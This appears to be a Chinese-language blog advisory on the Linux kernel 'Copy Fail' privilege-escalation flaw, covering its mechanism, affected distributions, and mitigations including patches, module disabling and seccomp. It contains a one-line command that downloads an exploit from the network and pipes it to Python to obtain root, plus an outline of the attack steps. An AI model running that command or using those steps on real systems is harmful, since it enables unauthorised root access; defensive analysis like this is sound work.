你的 Linux 伺服器真的安全嗎?
2017 年,某個 kernel 開發者提交了一筆「微小的最佳化」——4 行程式碼,改進了 AF_ALG 加密套接字的 in-place 操作。看起來無害。提交訊息簡短。Review 通過了。這筆 patch 被合入 mainline,然後隨著每個發行版的釋出,默默進入每一台機器:Ubuntu、Debian、RHEL、Amazon Linux、SUSE、Arch、Fedora……
九年後,一群安全研究人員用一份 732 位元組的 Python 腳本,在以上所有系統上拿到了 root shell。不需要 race condition。不需要針對特定 kernel 版本調整偏移量。同一個腳本,Ubuntu 能用,Amazon Linux 能用,RHEL 能用,SUSE 也能用。
這不是理論漏洞。這是 CVE-2026-31431,代號 Copy Fail——一個藏在 Linux kernel crypto 子系統深處的邏輯錯誤,剛剛被公開。
732 位元組:一個腳本打全部
Copy Fail 由韓國安全公司 Xint Code 的研究團隊發現。他們使用自家開發的 AI 輔助程式碼審計工具 Xint Code,花了約一小時掃描 Linux kernel 的 crypto/ 子系統,就找到了這個漏洞以及數個仍在保密揭露中的其他高嚴重性問題。
漏洞本身極其優雅——對攻擊者來說優雅,對防禦者來說致命。
典型的 Linux 本地提權漏洞通常需要滿足至少一個條件:
- 需要 race window:兩個執行緒競爭一個資源,攻擊者必須精準掌握時間視窗
- 需要 kernel 特定偏移量:不同發行版、不同 kernel 版本的內部結構偏移不同,一個 exploit 無法通用
- 需要預先安裝的 primitives:像是 BPF、用戶命名空間等特殊權限
Copy Fail 一個都不需要。
根據官方揭露頁面的說明,這是一個「直線邏輯缺陷」——程式碼執行路徑是線性的,沒有競爭條件,沒有條件競爭,就是一個純粹的邏輯錯誤。從 2017 年引入至今,所有以受影響 kernel 為基礎的 Linux 發行版全部中獎。
PoC 腳本只有 732 bytes,純 Python 3.10+ 標準庫(只需要 os、socket、zlib),不需要任何第三方套件。執行方式簡單到令人不安:
$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)
從一個普通使用者帳號,跳到 root,只花不到一秒。
漏洞解剖:AF_ALG × splice() 的致命組合
要理解這個漏洞,需要先認識 Linux kernel 中的兩個機制。
AF_ALG:使用者空間的密碼學入口
AF_ALG 是一個特殊的 socket family,讓使用者空間程式可以直接呼叫 kernel 內建的加密演算法——AES、SHA、HMAC、AEAD 等等。大部分發行版的預設 kernel 配置都啟用了它。用途包括磁碟加密(dm-crypt/LUKS)、IPsec、kTLS,以及部分 OpenSSL 的加密後端。
AF_ALG 的核心優勢是效能:資料從使用者空間傳入後,直接由 kernel 處理,不需要在 userspace 和 kernel 之間反覆拷貝。但正是這個「減少拷貝」的最佳化,埋下了隱患。
splice() 系統呼叫與 page cache
splice() 是一個 Linux 特有的系統呼叫,用來在兩個檔案描述符之間高速移動資料——它的特殊之處在於不需要經過使用者空間緩衝區。資料直接在 kernel 的 page cache 中移動,零拷貝。
這本來是效能最佳化。但當 splice() 遇上 AF_ALG 的 in-place 加密操作,問題就出現了。
漏洞核心
2017 年的那筆 patch 在 algif_aead.c 中引入了一個 in-place 最佳化:當輸入和輸出緩衝區指向同一個 page cache 頁面時,kernel 會直接在上面進行 AEAD 解密操作,而不是先複製一份再做解密。
邏輯上聽起來沒問題:如果你要解密一塊資料,解密後的結果會覆蓋原本的密文,這是預期行為。
但問題出在 AEAD 認證加密的驗證順序。
AEAD(Authenticated Encryption with Associated Data)模式的標準流程是:先解密,再驗證認證標籤(authentication tag)。如果標籤驗證失敗,解密結果應該被丟棄,不應該被外部看到。
然而,2017 年的最佳化讓解密直接在 page cache 上進行——在還沒有驗證標籤是否正確之前,就已經修改了 page cache 的內容。
更糟的是,由於 AF_ALG 的密碼學操作涉及 DMA 和分散/聚集(scatter-gather)列表,kernel 會將使用者空間的資料頁面直接映射到 DMA 的 destination scatterlist 中。如果這個頁面同時也是 page cache 中的一個 setuid 二進位檔案頁面——例如 /usr/bin/su——那麼 decrypt 操作會直接修改那個頁面的內容。
攻擊者的操作流程大致如下:
- 建立一個 AF_ALG 的 AEAD socket
- 用
splice()將一個 setuid 二進位檔案的頁面(例如/usr/bin/su)作為輸出緩衝區傳入 - 發送精心構造的密文,觸發 kernel 在 page cache 上進行 in-place 解密
- 解密結果修改了 setuid 檔案的 page cache——雖然磁碟上的原始檔案不變,但執行中的 page cache 已被竄改
- 執行
su,kernel 載入已被修改的 page cache,攻擊者獲得 root shell
修改不是持久的——重啟後 page cache 會刷新。但這對攻擊者來說根本不是問題。一次 root shell 就夠了。
影響範圍:幾乎所有你正在用的系統
Xint Code 團隊直接驗證了以下發行版:
| 發行版 | Kernel 版本 |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
但這只是他們直接測試的。根據官方說明,「其他使用受影響 kernel 的發行版——Debian、Arch、Fedora、Rocky、Alma、Oracle,以及嵌入式系統——行為相同。」也就是說,如果你的系統是 2017 年之後安裝的 Linux,假設它受影響是最安全的做法。
根據 HackerNews 討論串中多位 kernel 維護者的說法,這次受影響的 kernel 版本範圍是「從 2017 年的某個 commit 到 2026 年 4 月的修補 commit」,橫跨近 9 年。
這意味著,如果你的組織從 2017 年到現在都沒有重新安裝過作業系統——或者用的是長期支援版本偶爾更新——你的 kernel 極可能仍然含有這個漏洞。AWS、GCP、Azure 等雲端廠商提供的預設機器映像檔,通常來自受影響的時間範圍。許多 IoT 設備、嵌入式 Linux 系統,甚至從未被更新過。
在 HackerNews 上,這個漏洞引發了大量討論。許多系統管理員回報他們的第一反應是檢查自己的環境。「我剛檢查了我們的 Kubernetes 叢集——全部 47 個節點都在受影響範圍內,」一位網友寫道。另一位則指出:「這不是那種你可以在不停機的情況下修補的漏洞——AF_ALG 是一個 kernel 模組,你需要重新啟動才能載入新的 kernel。」
誰最該擔心:風險分級
不是所有場景的風險都一樣。官方按風險等級列出:
🔥 高風險:多租戶 Linux 主機
共享開發機、shell-as-a-service、跳板機、建置伺服器——任何多個使用者共享同一個 kernel 的環境。任何一個 userspace 使用者都能變成 root。
🔥 高風險:Kubernetes / 容器叢集
Page cache 在主機層級是共享的。一個有適當權限的 Pod 可以攻陷整個節點,跨越租戶邊界。這是容器環境最頭痛的地方:原本容器隔離依賴 kernel 的命名空間機制,但這個漏洞直接繞過了 page cache 層的隔離。
🔥 高風險:CI Runner 與建置農場
GitHub Actions self-hosted runner、GitLab runner、Jenkins agent——任何執行不可信 PR 程式碼的 runner,攻擊者可以透過一個 PR 就在 runner 上變成 root。
⚠️ 中風險:雲端 SaaS 執行使用者程式碼
Notebook 主機、Agent sandbox、Serverless function。租戶提供的容器或腳本可能達到 host root。
📋 低風險(但不為零):標準 Linux 伺服器
單租戶生產環境,只有你的團隊有 shell 權限。需要和其他漏洞鏈接(如 Web RCE 或被竊取的憑證)才能產生實際危害。
✅ 極低風險:個人筆電與工作站
你已經是唯一使用者。漏洞本身無法遠端觸發,但可以作為任何本地程式碼執行後的提權階梯。
補救方案:Patch 優先
修補程式已經在 2026 年 4 月 1 日合入 kernel mainline(commit a664bf3d603d——回復了 2017 年的那筆 in-place 最佳化)。多數主要發行版目前正在或已經推送更新。
第一步:立即更新 kernel
根據你的發行版執行對應的更新命令:
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
# RHEL / CentOS / Rocky / Alma
sudo yum update kernel
# Fedora
sudo dnf upgrade kernel
# Amazon Linux
sudo yum update kernel
# SUSE
sudo zypper update kernel
# Arch
sudo pacman -S linux
更新後必須重新啟動才能載入新的 kernel。
第二步(在 patch 前):停用 algif_aead 模組
如果你無法立即更新 kernel(例如需要排程停機),可以先停用有問題的 kernel 模組:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
這樣做會影響什麼?
根據官方 FAQ,絕大多數系統不會有任何可察覺的影響:
- 不會影響:dm-crypt / LUKS、kTLS、IPsec/XFRM、in-kernel TLS、OpenSSL/GnuTLS/NSS 預設建置、SSH、kernel keyring crypto——這些都直接使用 in-kernel crypto API,不經過 AF_ALG
- 可能影響:明確配置使用 AF_ALG 的 userspace 應用——例如啟用了 afalg engine 的 OpenSSL、部分嵌入式加密卸載路徑
- 效能:AF_ALG 是 kernel crypto API 的使用者入口。停用它之後,原本使用 AF_ALG 的程式會退回一般的 userspace 加密函式庫——這反而是絕大多數程式已經在做的事
你可以用以下指令檢查哪些程式正在使用 AF_ALG:
lsof | grep AF_ALG
ss -xa | grep AF_ALG
第三步(必要):在不可信工作負載中阻擋 AF_ALG
對於容器、sandbox、CI runner 等不可信環境,無論 patch 狀態如何,都應該透過 seccomp 阻擋 AF_ALG socket 的建立:
# 範例:seccomp 規則片段(適用於 Docker / containerd)
import seccomp
filter = seccomp.SyscallFilter(seccomp.ALLOW)
filter.add_rule(seccomp.KILL, "socket", seccomp.Arg(0, seccomp.EQ, socket.AF_ALG))
在 Docker 中,可以在 docker run 時加上 --security-opt seccomp=block-afalg.json 來套用這條規則。Kubernetes 中則可以透過 Pod Security Policy 或 securityContext.seccompProfile 來設定。
第四步(進階):驗證你的系統已修補
Patch 完成後,建議執行簡單的確認腳本確認漏洞已被封堵。你可以下載官方 PoC 在測試環境中執行——注意,只在你有權限測試的機器上執行。如果 PoC 腳本無法取得 root shell,代表 kernel 已修補。
另一種非破壞性的驗證方式:確認 algif_aead 模組已不存在或已停用:
lsmod | grep algif_aead
如果沒有輸出,代表模組已被移除或從未載入。
第五步:容器環境的長期策略
對於營運容器的團隊,這次事件凸顯了更根本的問題:容器隔離依賴 kernel 的安全邊界,但 kernel 本身並不完美。
每個 kernel CVE 都在提醒我們:
- 多層防禦不是選項,是必要條件:不要只依賴 namespace 隔離,加上 seccomp、AppArmor/SELinux、Capabilities 限制
- 定期更新基底映像檔:容器映像檔中的 kernel 雖然來自宿主機,但基礎映像檔(如 Ubuntu 24.04、Amazon Linux 2023)的更新週期直接影響你的安全視窗
- 考慮使用 kata-containers 或 gVisor:這些技術提供額外的虛擬化隔離層,即使 kernel 被突破,攻擊者也無法直接存取宿主機
- 不可信工作負載的資源隔離:GitHub Actions self-hosted runner、建置 agent、Sandbox service——這些執行不可信程式碼的環境,應該被視為「已淪陷」來設計
AI 審計時代的啟示
Copy Fail 的發現過程本身,或許是這個故事中最值得關注的部分。
Xint Code 團隊並非透過傳統的手動逆向或代碼審計發現這個漏洞。他們使用的是自家開發的 AI 輔助程式碼審計工具——輸入一條 operator prompt,對 Linux kernel 的 crypto/ 子系統掃描了約一小時,就同時發現了 Copy Fail 和數個仍在保密揭露中的其他高嚴重性問題。
該團隊的背景值得留意:DEF CON CTF 史上奪冠次數最多的隊伍、DARPA AIxCC 決賽入圍者、ZeroDay 計畫中橫掃 Redis、PostgreSQL、MariaDB 等多個資料庫的高難度漏洞。但這次他們選擇了讓 AI 來做第一輪的篩選工作。
這代表安全研究的範式正在改變。過去,像 Copy Fail 這種深埋在數百萬行程式碼深處的邏輯錯誤,被發現往往依賴運氣——某個研究人員碰巧讀到了那幾行程式碼,或者某個系統被實際攻擊後才被發現。你很難說「這只是運氣好才被找到」,因為更多時候,它根本不會被找到。
AI 審計改變了這個等式。一小時掃描一個子系統,找到多個 0-day。雖然當前 AI 工具的準確率還需要人類過濾誤報,但作為第一階段的廣域掃描,它已經遠遠超越了人類的能力邊界。
但這也帶來了新的風險:同樣的技術可以被攻擊方使用。安全領域的軍備競賽正在從「人力密集」轉向「算力密集」。過去你需要頂尖的安全研究員花數月手動逆向才能找到一個 0-day;現在,任何有算力的人都可以在短時間內掃描大面積的程式碼找出潛在弱點。
對台灣的開發團隊和企業來說,這裡有一個務實的提醒:如果你們的產品包含或依賴 Linux kernel——這幾乎涵蓋所有雲端服務、IoT 設備、嵌入式系統——那麼「人類 Reviewer 會發現所有問題」的安全假設已經不再可靠。程式的安全基線需要升級:
- 將自動化靜態分析工具整合進 CI/CD 流程
- 定期掃描關鍵子系統,不只是依賴上游公告
- 建立快速回應機制:從漏洞公告到修補部署,時間窗口正在縮短
- 考慮將 AI 輔助審計作為安全審查流程的補充
這不是要取代安全研究人員。AI 找到潛在漏洞後,理解根本原因、評估實際影響、設計修補方案——這些仍然需要人類。但在安全領域,「人類負責策略,AI 負責掃描」的分工正在加速成形。
真正的教訓:最小最佳化的最大代價
回到 Copy Fail 本身。這個漏洞最令人玩味的地方在於,它源自一個看似完全合理的「效能最佳化」。
2017 年的那筆 commit,動機清楚:減少記憶體拷貝、提升加密操作效能。在 kernel 開發中,這種最佳化每天都在發生。但它繞過了 AEAD 模式最核心的安全保證——解密結果在驗證標籤之前不應該被外部可見。
而 splice() 讓攻擊者可以將 setuid 檔案的 page cache 頁面注入為解密目標——這兩個正常功能疊加在一起,產生了沒有人預見到的攻擊面。
這不是第一個這樣的案例,也不會是最後一個。Linux kernel 的複雜性已經超過了任何個人甚至團隊能夠全面掌握的範圍。根據 Linux Foundation 的統計,每個 kernel 版本有超過兩萬名貢獻者、數百萬行程式碼——人類 Reviewer 不可能全部讀過。
對一般開發者和系統管理者來說,今天的行動很直接:更新 kernel,停用 AF_ALG 模組,在容器環境中加上 seccomp 規則。但更深層的問題——當程式碼複雜度超過人類理解極限時,我們該如何確保安全?——這個問題不會隨著 patch 發布而消失。
這可能有一個令人不安的答案:不是 bug 變多了,而是我們終於開始認真找它們了。AI 掃描只是第一步。還有多少像 Copy Fail 這樣的邏輯錯誤,仍然藏在幾千萬行程式碼深處,等待被發現?
如果它們先被攻擊方找到,我們可能連 patch 公告都不會看到。